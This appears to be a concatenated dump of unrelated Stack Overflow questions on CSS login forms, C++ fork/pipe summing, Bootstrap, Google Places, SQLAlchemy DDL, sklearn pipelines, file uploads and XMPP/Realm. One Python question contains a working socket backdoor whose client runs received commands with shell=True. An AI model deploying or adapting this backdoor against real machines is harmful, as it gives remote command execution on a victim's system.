transform: rotate(-3deg);
top: 0;
z-index: -2;
}
#content form { margin: 0 20px; position: relative }
#content form input[type="text"],
#content form input[type="password"] {
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
-ms-border-radius: 3px;
-o-border-radius: 3px;
border-radius: 3px;
-webkit-box-shadow: 0 1px 0 #fff, 0 -2px 5px rgba(0,0,0,0.08) inset;
-moz-box-shadow: 0 1px 0 #fff, 0 -2px 5px rgba(0,0,0,0.08) inset;
-ms-box-shadow: 0 1px 0 #fff, 0 -2px 5px rgba(0,0,0,0.08) inset;
-o-box-shadow: 0 1px 0 #fff, 0 -2px 5px rgba(0,0,0,0.08) inset;
box-shadow: 0 1px 0 #fff, 0 -2px 5px rgba(0,0,0,0.08) inset;
-webkit-transition: all 0.5s ease;
-moz-transition: all 0.5s ease;
-ms-transition: all 0.5s ease;
-o-transition: all 0.5s ease;
transition: all 0.5s ease;
background: #eae7e7 url(http://cssdeck.com/uploads/media/items/8/8bcLQqF.png) no-repeat;
border: 1px solid #c8c8c8;
color: #777;
font: 13px Helvetica, Arial, sans-serif;
margin: 0 0 10px;
padding: 15px 10px 15px 40px;
width: 80%;
}
#content form input[type="text"]:focus,
#content form input[type="password"]:focus {
-webkit-box-shadow: 0 0 2px #ed1c24 inset;
-moz-box-shadow: 0 0 2px #ed1c24 inset;
-ms-box-shadow: 0 0 2px #ed1c24 inset;
-o-box-shadow: 0 0 2px #ed1c24 inset;
box-shadow: 0 0 2px #ed1c24 inset;
background-color: #fff;
border: 1px solid #ed1c24;
outline: none;
}
#username { background-position: 10px 10px !important }
#password { background-position: 10px -53px !important }
#content form input[type="submit"] {
background: rgb(254,231,154);
background: -moz-linear-gradient(top, rgba(254,231,154,1) 0%, rgba(254,193,81,1) 100%);
background: -webkit-linear-gradient(top, rgba(254,231,154,1) 0%,rgba(254,193,81,1) 100%);
background: -o-linear-gradient(top, rgba(254,231,154,1) 0%,rgba(254,193,81,1) 100%);
background: -ms-linear-gradient(top, rgba(254,231,154,1) 0%,rgba(254,193,81,1) 100%);
background: linear-gradient(top, rgba(254,231,154,1) 0%,rgba(254,193,81,1) 100%);
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#fee79a', endColorstr='#fec151',GradientType=0 );
-webkit-border-radius: 30px;
-moz-border-radius: 30px;
-ms-border-radius: 30px;
-o-border-radius: 30px;
border-radius: 30px;
-webkit-box-shadow: 0 1px 0 rgba(255,255,255,0.8) inset;
-moz-box-shadow: 0 1px 0 rgba(255,255,255,0.8) inset;
-ms-box-shadow: 0 1px 0 rgba(255,255,255,0.8) inset;
-o-box-shadow: 0 1px 0 rgba(255,255,255,0.8) inset;
box-shadow: 0 1px 0 rgba(255,255,255,0.8) inset;
border: 1px solid #D69E31;
color: #85592e;
cursor: pointer;
float: left;
font: bold 15px Helvetica, Arial, sans-serif;
height: 35px;
margin: 20px 0 35px 15px;
position: relative;
text-shadow: 0 1px 0 rgba(255,255,255,0.5);
width: 120px;
}
#content form input[type="submit"]:hover {
background: rgb(254,193,81);
background: -moz-linear-gradient(top, rgba(254,193,81,1) 0%, rgba(254,231,154,1) 100%);
background: -webkit-linear-gradient(top, rgba(254,193,81,1) 0%,rgba(254,231,154,1) 100%);
background: -o-linear-gradient(top, rgba(254,193,81,1) 0%,rgba(254,231,154,1) 100%);
background: -ms-linear-gradient(top, rgba(254,193,81,1) 0%,rgba(254,231,154,1) 100%);
background: linear-gradient(top, rgba(254,193,81,1) 0%,rgba(254,231,154,1) 100%);
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#fec151', endColorstr='#fee79a',GradientType=0 );
}
#content form div a {
color: #004a80;
float: right;
font-size: 12px;
margin: 30px 15px 0 0;
text-decoration: underline;
}
.button {
background: rgb(247,249,250);
background: -moz-linear-gradient(top, rgba(247,249,250,1) 0%, rgba(240,240,240,1) 100%);
background: -webkit-linear-gradient(top, rgba(247,249,250,1) 0%,rgba(240,240,240,1) 100%);
background: -o-linear-gradient(top, rgba(247,249,250,1) 0%,rgba(240,240,240,1) 100%);
background: -ms-linear-gradient(top, rgba(247,249,250,1) 0%,rgba(240,240,240,1) 100%);
background: linear-gradient(top, rgba(247,249,250,1) 0%,rgba(240,240,240,1) 100%);
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f7f9fa', endColorstr='#f0f0f0',GradientType=0 );
-webkit-box-shadow: 0 1px 2px rgba(0,0,0,0.1) inset;
-moz-box-shadow: 0 1px 2px rgba(0,0,0,0.1) inset;
-ms-box-shadow: 0 1px 2px rgba(0,0,0,0.1) inset;
-o-box-shadow: 0 1px 2px rgba(0,0,0,0.1) inset;
box-shadow: 0 1px 2px rgba(0,0,0,0.1) inset;
-webkit-border-radius: 0 0 5px 5px;
-moz-border-radius: 0 0 5px 5px;
-o-border-radius: 0 0 5px 5px;
-ms-border-radius: 0 0 5px 5px;
border-radius: 0 0 5px 5px;
border-top: 1px solid #CFD5D9;
padding: 15px 0;
}
.button a {
background: url(http://cssdeck.com/uploads/media/items/8/8bcLQqF.png) 0 -112px no-repeat;
color: #7E7E7E;
font-size: 17px;
padding: 2px 0 2px 40px;
text-decoration: none;
-webkit-transition: all 0.3s ease;
-moz-transition: all 0.3s ease;
-ms-transition: all 0.3s ease;
-o-transition: all 0.3s ease;
transition: all 0.3s ease;
}
.button a:hover {
background-position: 0 -135px;
color: #00aeef;
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><!DOCTYPE html>
<html >
<head>
<meta charset="UTF-8">
<title>Online Student Service Center</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<body>
<div class="container">
<section id="content">
<form action="php/login.php" method="POST" >
<h1>Login Form</h1>
<div>
<input type="text" placeholder="Student ID" required="" id="username" />
</div>
<div>
<input type="password" placeholder="Password" required="" id="password" />
</div>
<div>
<input type="submit" value="Log in" />
<a href="#">Lost your password?</a>
<a href="#">Register</a>
</div>
</form><!-- form -->
<div class="button">
<a href="admin.html">Admin</a>
</div><!-- button -->
<div class="button">
<a href="teacher.html">Teacher</a>
</div><!-- button -->
</section><!-- content -->
</div><!-- container -->
</body>
</body>
</html></code></pre>
</div>
</div>
</p>
<p>please also tell me that how i can fetch data from database</p>
| 3 | 4,651 |
Reading and Writing with Multiple Children C++ Unix
|
<p>So, this is a follow up on my assignment I posted earlier.
Link: <a href="https://stackoverflow.com/questions/42913617/piping-and-forking-in-c-in-unix">https://stackoverflow.com/questions/42913617/piping-and-forking-in-c-in-unix</a></p>
<p>Got that section of the code all working now, but now I have to move onto 4 processes, which is giving me a hard time. Just as a recap, I have to take data files and have the sum of the integers added up using piping and forking. Currently I am having problems getting the sum to come up, if I put int mypipe[4] and change all my variables accordingly, my program freezes up. Currently trying two pipes, but only will show the sum of one of the pipes. Here is my code I have for the 4 process portion: </p>
<pre><code>else
{
pid_t child1, child2, child3, child4;
int mypipe1[2];
int mypipe2[2];
//File 1
t1=clock();
int temptotal=0;
int file1[1000];
for(int i = 0; i < 1000; i++)
{
infile1 >> file1[i];
}
pipe(mypipe1);
pipe(mypipe2);
//Begin the forking
if((child1 = fork()) == 0)
{
close(mypipe1[1]);
close(mypipe2[0]);
close(mypipe2[1]);
for(int i = 0; i < 250; i++)
{
temptotal = temptotal + file1[i];
}
write(mypipe1[0], &temptotal, sizeof(temptotal));
temptotal=0;
exit(0);
}
else
{
if((child2 =fork())==0)
{
close(mypipe1[0]);
close(mypipe2[1]);
close(mypipe2[0]);
for(int i =250; i < 500; i++)
{
temptotal = temptotal + file1[i];
}
write(mypipe1[1], &temptotal, sizeof(temptotal));
temptotal=0;
exit(1);
}
else
{
if((child3=fork())==0)
{
close(mypipe1[0]);
close(mypipe1[1]);
close(mypipe2[1]);
for(int i =500; i < 750; i++)
{
temptotal = temptotal + file1[i];
}
write(mypipe2[0], &temptotal, sizeof(temptotal));
temptotal=0;
exit(0);
}
else
{
if((child4=fork())==0)
{
close(mypipe1[0]);
close(mypipe1[1]);
close(mypipe2[0]);
for(int i =750; i < 1000; i++)
{
temptotal = temptotal + file1[i];
}
write(mypipe2[1], &temptotal, sizeof(temptotal));
temptotal=0;
exit(1);
}
else
{
//Parent Proccess
int n1,n2,n3,n4;
read(mypipe1[0],&n1,sizeof(n1));
close(mypipe1[0]);
read(mypipe1[1],&n2,sizeof(n2));
close(mypipe1[1]);
read(mypipe2[0],&n3,sizeof(n3));
close(mypipe2[0]);
read(mypipe2[1],&n4,sizeof(n4));
close(mypipe2[1]);
total = n1+n2+n3+n4;
std::cout<<"File1 sum: "<<total<<std::endl;
}
}
}
}
}
</code></pre>
<p>Any ideas what I am missing? Any input is greatly appreciated! </p>
| 3 | 3,508 |
bootstrap box spaning rows right side img element
|
<p>there's some problems with responsive grid system to me.</p>
<p><a href="http://imageshack.com/a/img537/9687/4H48G0.jpg" rel="nofollow">http://imageshack.com/a/img537/9687/4H48G0.jpg</a></p>
<p><a href="http://imageshack.com/a/img539/8265/ANvr0Y.jpg" rel="nofollow">http://imageshack.com/a/img539/8265/ANvr0Y.jpg</a> - problem is here</p>
<p><strong>My source code:</strong></p>
<p><strong>CSS</strong></p>
<pre><code><style type="text/css">
.wrapper {
height: 100%;
text-align: center;
margin: 0 auto;
}
img { max-width:100% !important;
height:auto;
display:block;
}
.text {
color: #fff;
text-shadow:0px 2px 10px #000;
height: 100%;
left: 0;
position: absolute;
text-align: center;
top: 0;
font-size: 22px;
width: 100%;}
.box {
border: 1px dashed #000;
overflow: hidden;
position: relative;
}
.tb_floater {
font-size: 1.5em;
margin-top: 20%;
padding-top: 10%;
}
.box.tall {
height: 300px;
}
.box.tall > a > img {
height: auto;
}
</style>
</code></pre>
<p><strong>HTML</strong></p>
<pre><code><div class="wrapper">
<div class="container">
<div class="row">
<div class="col-md-4 box tall">
<a href="#">
<img src="http://www.websailer.com/wp-content/uploads/2013/07/www_image.jpg">
</a>
<div class="text tall">
<div class="tb_floater">
<p>Loren ipsum shit amet<br/>Loren ipsum</p>
</div>
</div>
</div>
<div class="col-xs-6 col-md-6 box" style="height:150px;">.col-xs-6 .col-md-6</div>
<div class="col-xs-6 col-md-2 box" style="height:150px;">.col-xs-6 .col-md-2</div>
<div class="col-xs-6 col-md-2 box" style="height:150px;">.col-xs-6 .col-md-2</div>
<div class="col-xs-6 col-md-6 box" style="height:150px;">.col-xs-6 .col-md-6</div>
</div>
<div class="row">
<div class="pull-right col-xs-6 col-md-4 box tall">
<a href="#">
<img src="http://www.websailer.com/wp-content/uploads/2013/07/www_image.jpg">
</a>
<div class="text tall">
<div class="tb_floater">
<p>Loren ipsum shit amet<br/>Loren ipsum</p>
</div>
</div>
</div>
<div class="col-xs-6 col-md-2 box" style="height:150px;">.col-xs-6 .col-md-6</div>
<div class="col-xs-6 col-md-6 box" style="height:150px;">.col-xs-6 .col-md-2</div>
<div class="col-xs-6 col-md-2 box" style="height:150px;">.col-xs-6 .col-md-6</div>
<div class="col-xs-6 col-md-6 box" style="height:150px;">.col-xs-6 .col-md-2</div>
</div>
</code></pre>
<p>That empty field is problem when i resize the browser, any solution ?</p>
| 3 | 1,806 |
Google Places not returning complete results with RouteBoxer
|
<p><strong>EDIT: It seems that I'm hitting the query limit, but I'm not being returned a full 200 results. So upon further research it looks like the Google API will let me query 10 boxes, return those results, and then smacks me with an OVER_QUERY_LIMIT status for the rest. So I figure I now have two options: slow my queries, or broaden my distance to create fewer boxes along the route.</strong></p>
<p>I'm currently fooling around building a little web app that provides a details about places along a route (like gas stations and coffee on a road trip). I'm using the Google Maps API with the Places Library and <a href="https://google-maps-utility-library-v3.googlecode.com/svn/trunk/routeboxer/docs/examples.html" rel="nofollow">RouteBoxer</a>. <strong>I'm generating all the appropriate boxes with RouteBoxer, but when the boxes are passed to the Places Library I'm only getting back some of the places.</strong> Usually I'll get the first half of the route (on shorter routes) or a few random chunks (for longer routes). San Francisco to Seattle returns me gas stations around Seattle and around Medford, OR only.</p>
<p>Initially I thought maybe I was hitting the results cap of 200, but it's making a separate request for each box, and my total results often aren't hitting 200. Results returned are generally pretty consistent from what I can see. When looking at the details of my network requests and responses, it seems that the script is moving through the boxes making requests with the Places library, and suddenly it stops part way through.</p>
<p>The live app where you can see results and boxes is on <a href="https://arcane-island-6450.herokuapp.com/" rel="nofollow">Heroku</a>.</p>
<p>My JavaScript isn't the strongest by any means. That's part of why I wanted to work with this API, so please pardon my ignorance if I'm making a trivial mistake. The full script is below. Any direction is tremendously appreciated!</p>
<pre><code>var infowindow = new google.maps.InfoWindow();
var map;
var routeBoxer;
var service;
function initialize() {
directionsDisplay = new google.maps.DirectionsRenderer();
var mapOptions = {
zoom: 4,
center: new google.maps.LatLng(39, -98),
mapTypeId: google.maps.MapTypeId.ROADMAP,
};
map = new google.maps.Map(document.getElementById('map-canvas'), mapOptions);
service = new google.maps.places.PlacesService(map);
routeBoxer = new RouteBoxer();
directionService = new google.maps.DirectionsService();
directionsRenderer = new google.maps.DirectionsRenderer({ map: map })
directionsDisplay.setMap(map);
directionsDisplay.setPanel(document.getElementById('directions-panel'));
}
function calcRoute() {
var start = document.getElementById('start').value;
var end = document.getElementById('end').value;
var waypt1 = document.getElementById('waypoint1').value;
var waypt2 = document.getElementById('waypoint2').value;
var waypts = []
if (waypt1) {
waypts.push({
location:waypt1,
stopover:true});
}
if (waypt2) {
waypts.push({
location:waypt2,
stopover:true});
}
var request = {
origin: start,
destination: end,
waypoints: waypts,
optimizeWaypoints: true,
travelMode: google.maps.TravelMode.DRIVING
};
directionService.route(request, function(response, status) {
if (status == google.maps.DirectionsStatus.OK) {
directionsDisplay.setDirections(response);
// Build boxes around route
var path = response.routes[0].overview_path;
var boxes = routeBoxer.box(path, 2); // distance in km from route
drawBoxes(boxes);
for (var i=0; i < boxes.length; i++) {
var bounds = boxes[i];
findPlaces(bounds);
findPlacesByText(bounds);
}
} else {
alert("Directions query failed: " + status);
}
});
}
function findPlaces(bounds) {
var selectedTypes = [];
var inputElements = document.getElementsByClassName('placeOption');
for (var i=0; inputElements[i]; i++) {
if (inputElements[i].checked) {
selectedTypes.push(inputElements[i].value)
}
}
var request = {
bounds: bounds,
types: selectedTypes
};
if (selectedTypes.length > 0) {
service.radarSearch(request, callback);
}
}
function findPlacesByText(bounds) {
var selectedTypes = '';
var inputElements = document.getElementsByClassName('textOption');
for (var i=0; inputElements[i]; i++) {
if (inputElements[i].checked) {
selectedTypes += inputElements[i].value + ', '
}
}
var request = {
bounds: bounds,
query: selectedTypes
};
if (selectedTypes.length > 0) {
service.textSearch(request, callback);
}
}
function callback(results, status) {
if (status == google.maps.places.PlacesServiceStatus.OK) {
for (var i = 0; i < results.length; i++) {
createMarker(results[i]);
}
}
}
function createMarker(place) {
var marker = new google.maps.Marker({
map: map,
position: place.geometry.location
});
var request = {
reference: place.reference
};
google.maps.event.addListener(marker,'click',function(){
service.getDetails(request, function(place, status) {
if (status == google.maps.places.PlacesServiceStatus.OK) {
var contentStr = '<h5>' + place.name + '</h5><p>' + place.formatted_address;
if (!!place.formatted_phone_number) contentStr += '<br />' + place.formatted_phone_number;
if (!!place.website) contentStr += '<br /><a target="_blank" href="' + place.website + '">' + place.website + '</a>';
contentStr += '<br />' + place.types + '</p>';
infowindow.setContent(contentStr);
infowindow.open(map,marker);
} else {
var contentStr = "<h5>No Result, status=" + status + "</h5>";
infowindow.setContent(contentStr);
infowindow.open(map,marker);
}
});
});
}
google.maps.event.addDomListener(window, 'load', initialize);
</code></pre>
| 3 | 2,080 |
Socket Serialization Error , a bytes-like object is required, not 'str'
|
<p>I tried Encoding but is not working can anyone help me with the serialization in python3 <code>a bytes-like object is required, not 'str'</code></p>
<pre><code>#!/usr/bin/python3
import socket
import json
import pickle
class Listener:
def __init__(self,ip,port):
listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
listener.bind((ip,port))
listener.listen(0)
print("[+] Waiting for Incoming Connection")
self.connection,address = listener.accept()
print(("[+] Got a Connection from " + str(address)))
def serialize_send(self, data):
data_send = json.dumps(data)
return self.connection.send(data_send)
def serialize_receive(self):
json_dataX = ""
while True:
try:
# #json_data = json_data + self.connection.recv(1024)
# data = self.connection.recv(1024).decode("utf-8", errors="ignore")
# json_data = json_data + data
# return json.loads(json_data)
json_data = bytes(json_dataX, 'utf-8')+ self.connection.recv(1024)
return json.loads(json.loads(json_data.decode('utf8')))
except ValueError:
continue
def execute_remotely(self,command):
self.serialize_send(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.serialize_receive()
def run(self):
while True:
comX = input(">> : ")
command = comX.split(" ")
try:
sys_command = str(command[0])
result = self.execute_remotely(sys_command)
except Exception as errorX:
result = errorX
print(result)
my_backdoor = Listener("localhost",1234)
my_backdoor.run()
</code></pre>
<p>Client Code</p>
<pre><code>#!/usr/bin/python3
import socket
import subprocess
import json
import pickle
class Backdoor:
def __init__(self,ip,port):
self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.connection.connect(("localhost",1234))
def serialize_send(self,data):
json_data = json.dumps(data)
self.connection.send(json_data)
def serialize_receive(self):
json_dataX = ""
while True:
try:
#conn_Recv = self.connection.recv(1024)
#data = self.connection.recv(1024).decode("utf-8", errors="ignore")
#json_data = json_dataX + data
json_data = bytes(json_dataX, 'utf-8') + self.connection.recv(1024)
return json.loads(json.loads(json_data.decode('utf8')))
except ValueError:
continue
def execute_system_commmand(self,command):
return subprocess.check_output(command,shell=True)
def run(self):
while True:
commandx = self.serialize_receive()
command = commandx
try:
if command[0] == "exit":
self.connection.close()
exit()
else:
command_result = self.execute_system_commmand(command)
except Exception:
command_result = "[-] Unknown Execution."
self.serialize_send(command_result)
my_backdoor = Backdoor("localhost",1234)
my_backdoor.run()
</code></pre>
| 3 | 1,810 |
How to use SQLAlchemy models to generate raw SQL which is able to create all tables?
|
<p>It is possible to generate raw SQL statement to create any SQLAlchemy table <a href="https://stackoverflow.com/questions/2128717/sqlalchemy-printing-raw-sql-from-create">as shown here</a>.</p>
<p>However, I would like to generate raw SQL which creates all tables, not just one.</p>
<p>Let's assume I have such tables (this table design is not real-world, but it shows the issue well):</p>
<pre class="lang-py prettyprint-override"><code>import sqlalchemy
from sqlalchemy import Column, Integer, Text, ForeignKey
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.schema import CreateTable
from sqlalchemy.dialects import postgresql
engine = sqlalchemy.create_engine('postgresql://postgres:postgres@127.0.0.1:5432/postgres', echo=True)
Base = declarative_base()
class Product(Base):
__tablename__ = "product"
id = Column(Integer, primary_key=True, autoincrement=True)
name = Column(Text, nullable=True)
user_id = Column(Integer, ForeignKey('user.id'), nullable=True)
class User(Base):
__tablename__ = "user"
id = Column(Integer, primary_key=True, autoincrement=True)
name = Column(Text, nullable=True)
product_id = Column(Integer, ForeignKey('product.id'), nullable=True)
open("create_tables.sql", 'w').close() # to clear the file
for table in Base.metadata.tables.values():
table_sql = str(CreateTable(table).compile(dialect=postgresql.dialect()))
with open("create_tables.sql", "a") as myfile:
myfile.write(table_sql)
Base.metadata.create_all(engine)
</code></pre>
<p>(this is complete program, you can run it as-is)</p>
<p>In code above you can see that I use <code>for</code> loop to generate raw SQL:</p>
<pre class="lang-py prettyprint-override"><code>for table in Base.metadata.tables.values():
table_sql = str(CreateTable(table).compile(dialect=postgresql.dialect()))
with open("create_tables.sql", "a") as myfile:
myfile.write(table_sql)
</code></pre>
<p>Resulting file contains:</p>
<pre class="lang-sql prettyprint-override"><code>CREATE TABLE product (
id SERIAL NOT NULL,
name TEXT,
user_id INTEGER,
PRIMARY KEY (id),
FOREIGN KEY(user_id) REFERENCES "user" (id)
)
CREATE TABLE "user" (
id SERIAL NOT NULL,
name TEXT,
product_id INTEGER,
PRIMARY KEY (id),
FOREIGN KEY(product_id) REFERENCES product (id)
)
</code></pre>
<p>But I can't execute this SQL code, it will give me error due to circular reference. (and I need to add at least some <code>;</code>)</p>
<hr />
<p>SQLAlchemy can however create those tables without problem when I use:</p>
<pre class="lang-py prettyprint-override"><code>Base.metadata.create_all(engine)
</code></pre>
<p>With <code>echo=True</code> the generated SQL is visible in log:</p>
<pre class="lang-sql prettyprint-override"><code>2021-10-18 05:37:24,442 INFO sqlalchemy.engine.Engine select version()
2021-10-18 05:37:24,443 INFO sqlalchemy.engine.Engine [raw sql] {}
2021-10-18 05:37:24,447 INFO sqlalchemy.engine.Engine select current_schema()
2021-10-18 05:37:24,447 INFO sqlalchemy.engine.Engine [raw sql] {}
2021-10-18 05:37:24,449 INFO sqlalchemy.engine.Engine show standard_conforming_strings
2021-10-18 05:37:24,450 INFO sqlalchemy.engine.Engine [raw sql] {}
2021-10-18 05:37:24,454 INFO sqlalchemy.engine.Engine BEGIN (implicit)
2021-10-18 05:37:24,455 INFO sqlalchemy.engine.Engine select relname from pg_class c join pg_namespace n on n.oid=c.relnamespace where pg_catalog.pg_table_is_visible(c.oid) and relname=%(name)s
2021-10-18 05:37:24,456 INFO sqlalchemy.engine.Engine [generated in 0.00073s] {'name': 'product'}
2021-10-18 05:37:24,459 INFO sqlalchemy.engine.Engine select relname from pg_class c join pg_namespace n on n.oid=c.relnamespace where pg_catalog.pg_table_is_visible(c.oid) and relname=%(name)s
2021-10-18 05:37:24,460 INFO sqlalchemy.engine.Engine [cached since 0.004542s ago] {'name': 'user'}2021-10-18 05:37:24,463 INFO sqlalchemy.engine.Engine
CREATE TABLE product (
id SERIAL NOT NULL,
name TEXT,
user_id INTEGER,
created_at TIMESTAMP WITH TIME ZONE DEFAULT now() NOT NULL,
PRIMARY KEY (id)
)
2021-10-18 05:37:24,464 INFO sqlalchemy.engine.Engine [no key 0.00116s] {}
2021-10-18 05:37:24,480 INFO sqlalchemy.engine.Engine
CREATE TABLE "user" (
id SERIAL NOT NULL,
name TEXT,
product_id INTEGER,
created_at TIMESTAMP WITH TIME ZONE DEFAULT now() NOT NULL,
PRIMARY KEY (id)
)
2021-10-18 05:37:24,481 INFO sqlalchemy.engine.Engine [no key 0.00128s] {}
2021-10-18 05:37:24,494 INFO sqlalchemy.engine.Engine ALTER TABLE product ADD FOREIGN KEY(user_id)
REFERENCES "user" (id)
2021-10-18 05:37:24,495 INFO sqlalchemy.engine.Engine [no key 0.00053s] {}
2021-10-18 05:37:24,497 INFO sqlalchemy.engine.Engine ALTER TABLE "user" ADD FOREIGN KEY(product_id) REFERENCES product (id)
2021-10-18 05:37:24,497 INFO sqlalchemy.engine.Engine [no key 0.00047s] {}
2021-10-18 05:37:24,500 INFO sqlalchemy.engine.Engine COMMIT
</code></pre>
<p>My question is how to get this SQL, which is visible in the log above and is able to create all tables in one transaction, as Python string (or <code>.sql</code> file)?</p>
<p>I want to be able to check it / review it and then apply it (or part of it) manually to production server.</p>
| 3 | 2,073 |
Is there a way to store pipeline stages in sklearn?
|
<p>I am about to create a simple model-pipeline using sklearn´s pipeline module:</p>
<pre><code>from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.base import BaseEstimator, TransformerMixin
from sklearn.decomposition import TruncatedSVD
from sklearn.linear_model import LogisticRegression
class TextTransformer(BaseEstimator, TransformerMixin):
def __init__(self, key):
self.key = key
def fit(self, X, y=None, *parg, **kwarg):
return self
def transform(self, X):
return X[self.key]
X_train, X_test, y_train, y_test = train_test_split(df[['text']],
df['target'],
test_size=0.20)
feature_pipeline = Pipeline([
('transformer', TextTransformer(key='text')),
('tfidf', TfidfVectorizer(ngram_range=(1,1))),
('svd', TruncatedSVD(algorithm='randomized', n_components=150))
])
pickle.dump(feature_pipeline, open(../".pkl", 'wb'))
</code></pre>
<p>After initializing the feature selection, <code>feature_pipeline</code>, I´d like to call the created pipe on several models from other scripts, like (SVC as an example):</p>
<pre><code>svc_pipeline = Pipeline([('features', feature_pipeline),
('SVC',SVC())
])
parameter_grid = {'SVC__kernel':['linear','rbf'],
'SVC__C':loguniform(1e-1, 1e2),
'SVC__gamma':loguniform(1e-3, 1e0)}
svc_pipeline = RandomizedSearchCV(svc_pipeline, parameter_grid, n_iter = 10, cv=5,n_jobs = -1))
svc_pipeline.fit(X_train, y_train)
predictions = svc_pipeline.predict(X_test)
</code></pre>
<p>So far, I´ve initialized each model in the same fashion and I´d assume the <code>feature_pipeline</code> has to be initialized for each model separately?!</p>
<p>As a workaround, I currently pickle the fitted <code>feature_pipeline</code>, transform and store the X_train, X_test matrices, like:</p>
<pre><code>feature_pipeline.fit(X_train)
pickle.dump(feature_pipeline, open(../".pkl", 'wb'))
X_train_transformed = feature_pipeline.transform(X_train)
pickle.dump(X_train_transformed, open(../".pkl", 'wb'))
X_test_transformed = feature_pipeline.transform(X_test)
pickle.dump(X_test_transformed, open(../".pkl", 'wb'))
</code></pre>
<p>Is there a way to save the <code>feature_pipeline</code> directly so that it can be utilized without the need of applying this workaround? Or is there any other best practice?</p>
| 3 | 1,133 |
Upload Image to URI using HttpClient
|
<p>I´m a newbie about http related things, so I am a little stacked.</p>
<blockquote>
<p>What I want is simple, I need to POST, upload a imaged to a server like this: <code>http://web.com/imageGalerry</code> . </p>
</blockquote>
<p>I think its not too much complicated <strong>but I dont know why I am no getting errors</strong> and so far now I´m not sure how to continue(because the image is not upload in fact), this is my code:</p>
<pre class="lang-cs prettyprint-override"><code>public async Task<object> UpdateGalleryResources(IFormFile file, int idResouce)
{
byte[] data;
string result = "";
ByteArrayContent bytes;
var urlToPost = "http://hello.uk/imagegallery/resources/" + 00+ "/" + file.FileName;
MultipartFormDataContent multiForm = new MultipartFormDataContent();
try
{
using (var client = new HttpClient())
{
using (var br = new BinaryReader(file.OpenReadStream()))
{
data = br.ReadBytes((int)file.OpenReadStream().Length);
}
bytes = new ByteArrayContent(data);
multiForm.Add(bytes, "file", file.FileName);
//multiForm.Add(new StringContent("value1"), "key1");
//multiForm.Add(new StringContent("value2"), "key2");
var res = await client.PostAsync(urlToPost, multiForm);
return res;
}
}
catch (Exception e)
{
throw new Exception(e.ToString());
}
}
</code></pre>
<p>This is the view:</p>
<pre class="lang-html prettyprint-override"><code><form action="/Galley/UpdateGallery" method="post" class="dropzone" id="myDropzone">
<input type="hidden" value="1" name="idResource" />
</form>
</code></pre>
<p>and the dropzone js I am using to handle the view:</p>
<pre class="lang-js prettyprint-override"><code>document.addEventListener("DOMContentLoaded", function () {
// access Dropzone here
//dropzone.js detecta la version 'camelized' cuando el div tiene la clase dropzone
Dropzone.options.myDropzone = {
addRemoveLinks: true,
//autoProcessQueue: false,
.....
}
</code></pre>
<blockquote>
<p>And this is the error code I get from <code>return res</code></p>
</blockquote>
<pre><code> {StatusCode: 404, ReasonPhrase: 'Not Found', Version: 1.1, Content: System.Net.Http.HttpConnection+HttpConnectionResponseContent, Headers:
{
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Thu, 23 Apr 2020 08:22:52 GMT
Content-Type: text/html
Content-Length: 1282
}}
</code></pre>
<p>This is what I check in debug mode, everything I think looks right:
<a href="https://i.stack.imgur.com/tDsf3.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/tDsf3.png" alt="enter image description here"></a></p>
<p>Can you help me about what I am doing wrong??
Thank you.</p>
| 3 | 1,319 |
TableView does not load realm database values
|
<p>I have used <strong>XMPPFramework</strong>, since the user authentication and receiving only messages is done using XMPP. I am sending messages using <strong>RestApi</strong>. I have parsed the received xml message using <strong>SwiftyXMLParser</strong> library and now I have to store 'senderName', 'messageBody', 'time', 'senderNumber' in <strong>Realm</strong> database. </p>
<p>Initially the tableView in ContactsViewController is empty. When user sends the message, It will first get stored in database and then I have to show the sender's Number/Name and messageBody in the tableViewCell. If same user sends the message just update the messageBody text. If different user sends the message, check if user exists in db, if not, add the user in the tableView and so on... check user for every message and likewise populate the tableView.</p>
<p>Here is what I have done so far:</p>
<pre><code>class ContactsViewController: UIViewController, UITableViewDelegate, UITableViewDataSource{
var messagesArray:[String] = [String]()
var messageBody : [String] = [String]()
var realm : Realm!
var userInfo = MessageData()
// viewDidLoad() // assign tableView delegate, datasource and register the Nib.
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
return messagesArray.count
}
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
let cell = contactsTableView.dequeueReusableCell(withIdentifier: "contactscell", for: indexPath) as! ContactsListCell
cell.userNameLabel.text = messagesArray[indexPath.row]
cell.userImageView.image = UIImage(named: "default-user")
cell.messageBodyLabel.text = messageBody[indexPath.row]
return cell
}
} // end of class
extension ContactsViewController: XMPPStreamDelegate {
func xmppStream(_ sender: XMPPStream, didReceive message: XMPPMessage) {
let string = message.prettyXMLString()
let xml = try! XML.parse(string!)
let messageSenderNo = xml["message"]["data”][“phoneNumber”].text
let senderName = xml["message"]["data”][“name”].text
let messageText = xml["message"]["data”][“text”].text
let messageTime = xml["message"]["data"]["time"].text
userInfo.messageFrom = messageSenderNo
userInfo.messageBody = messageText
userInfo.senderName = senderName
realm = try! Realm()
try! realm.write {
realm.add(userInfo, update: true)
}
let senderOfMsg:[String] = realm.objects(MessageData.self).value(forKey: "messageFrom") as! [String]!
let textMessage:[String] = realm.objects(MessageData.self).value(forKey: "messageBody") as! [String]!
messagesArray = senderOfMsg
messageBody = textMessage
}
}
</code></pre>
<p>This is my <strong>Message</strong> Class:</p>
<pre><code>class MessageData: Object{
dynamic var messageFrom:String = ""
dynamic var messageBody:String = ""
dynamic var messageTime:String = ""
dynamic var messageSenderName:String = ""
override static func primaryKey() -> String? {
return "messageFrom"
}
convenience init(messageFrom: String, messageBody: String, messageSenderFirstName: String, messageSenderLastName: String, message_id: String, messageTime: String){
self.init()
self.messageFrom = messageFrom
self.messageBody = messageBody
self.messageTime = messageTime
